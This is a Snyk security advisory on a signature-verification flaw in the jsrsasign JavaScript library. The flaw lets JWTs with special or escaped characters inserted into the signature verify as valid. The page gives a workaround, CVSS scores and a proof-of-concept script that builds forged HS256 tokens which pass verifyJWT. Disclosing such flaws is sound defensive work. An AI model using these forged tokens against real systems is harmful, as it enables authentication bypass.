Improper Verification of Cryptographic Signature Affecting org.webjars.bowergithub.kjur:jsrsasign package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    1.3% (87th percentile)

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  • Snyk ID SNYK-JAVA-ORGWEBJARSBOWERGITHUBKJUR-2935897
  • published 26 Jun 2022
  • disclosed 13 Jun 2022
  • credit Adi Malyanker, Or David

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

org.webjars.bowergithub.kjur:jsrsasign is a free pure JavaScript cryptographic library.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature when JWS or JWT signature with non Base64URL encoding special characters or number escaped characters may be validated as valid by mistake.

Workaround:

Validate JWS or JWT signature if it has Base64URL and dot safe string before executing JWS.verify() or JWS.verifyJWT() method.

PoC:

var KJUR = require('jsrsasign');
var rsu = require('jsrsasign-util');

// jsrsasign@10.5.24

//// creating valid hs256 jwt - code used to get valid hs256 jwt.
// var oHeader = {alg: 'HS256', typ: 'JWT'};
// // Payload
// var oPayload = {};
// var tNow = KJUR.jws.IntDate.get('now');
// var tEnd = KJUR.jws.IntDate.get('now + 1year');
// oPayload.iss = "https://urldefense.proofpoint.com/v2/url?u=http-3A__foo.com&d=DwIGAg&c=wwDYKmuffy0jxUGHACmjfA&r=3J3pjDmBp7lIUZbkdHkHLg&m=CP36zULZ4
oa9S7i8rFsa5Rei7n32BgBaGjoG8lCiqO-pm9ZIzxG9adHdbUE4qski&s=eMfp9lSTyBb95UqdO_sO3ukTKlGihPESsUm5F4yotGk&e= ";
// oPayload.sub = "mailto:mike@foo.com";
// oPayload.nbf = tNow;
// oPayload.iat = tNow;
// oPayload.exp = tEnd;
// oPayload.jti = "id123456";
// oPayload.aud = "https://urldefense.proofpoint.com/v2/url?u=http-3A__foo.com_employee&d=DwIGAg&c=wwDYKmuffy0jxUGHACmjfA&r=3J3pjDmBp7lIUZbkdHkHLg&m=C
P36zULZ4oa9S7i8rFsa5Rei7n32BgBaGjoG8lCiqO-pm9ZIzxG9adHdbUE4qski&s=bxlm95BhVv7dbGuy_vRD4JBci6ODNdgOU7Q7bNPkv48&e= ";
// // Sign JWT, password=616161
// var sHeader = JSON.stringify(oHeader);
// var sPayload = JSON.stringify(oPayload);
// var sJWT = KJUR.jws.JWS.sign("HS256", sHeader, sPayload, "616161");


//verifying valid and invalid hs256 jwt
//validjwt
var validJwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vZm9vLmNvbSIsInN1YiI6Im1haWx0bzp
taWtlQGZvby5jb20iLCJuYmYiOjE2NTUyMjk3MjksImlhdCI6MTY1NTIyOTcyOSwiZXhwIjoxNjg2NzY1NzI5LC
JqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL2VtcGxveWVlIn0.eqrgPFuchnot7HgslW8S
1xQUkTDBW-_cyhrPgOOFRzI";
//invalid jwt with special signs
var invalidJwt1 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vZm9vLmNvbSIsInN1YiI6Im1haWx0bzp
taWtlQGZvby5jb20iLCJuYmYiOjE2NTUyMjk3MjksImlhdCI6MTY1NTIyOTcyOSwiZXhwIjoxNjg2NzY1NzI5LC
JqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL2VtcGxveWVlIn0.eqrgPFuchno!@#$%^&*
()!@#$%^&*()!@#$%^&*()!@#$%^&*()t7HgslW8S1xQUkTDBW-_cyhrPgOOFRzI";
//invalid jwt with additional numbers and signs
var invalidJwt2 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vZm9vLmNvbSIsInN1YiI6Im1haWx0bzp
taWtlQGZvby5jb20iLCJuYmYiOjE2NTUyMjk3MjksImlhdCI6MTY1NTIyOTcyOSwiZXhwIjoxNjg2NzY1NzI5LC
JqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL2VtcGxveWVlIn0.eqrgPFuchno\1\1\2\3\4
\2\2\3\2\1\2\222\3\1\1\2\2\2\2\2\2\2\2\2\2\2\2\222\23\2\2\2\2t7HgslW8S1xQUkTDBW-_cyhrPgOOFRzI";


var isValid = KJUR.jws.JWS.verifyJWT(validJwt, "616161", {alg: ['HS256']});
console.log("valid hs256 Jwt: " + isValid); //valid Jwt: true

//verifying invalid  1 hs256 jwt
var isValid = KJUR.jws.JWS.verifyJWT(invalidJwt1, "616161", {alg: ['HS256']});
console.log("invalid hs256  Jwt by special signs: " + isValid); //invalid Jwt  by special signs: true

//verifying invalid 2 hs256 jwt
var isValid = KJUR.jws.JWS.verifyJWT(invalidJwt2, "616161", {alg: ['HS256']});
console.log("invalid hs256  Jwt by additional numbers and slashes: " + isValid); //invalid Jwt by additional numbers and slashes: true

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.7 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    High
Expand this section

NVD

9.8 critical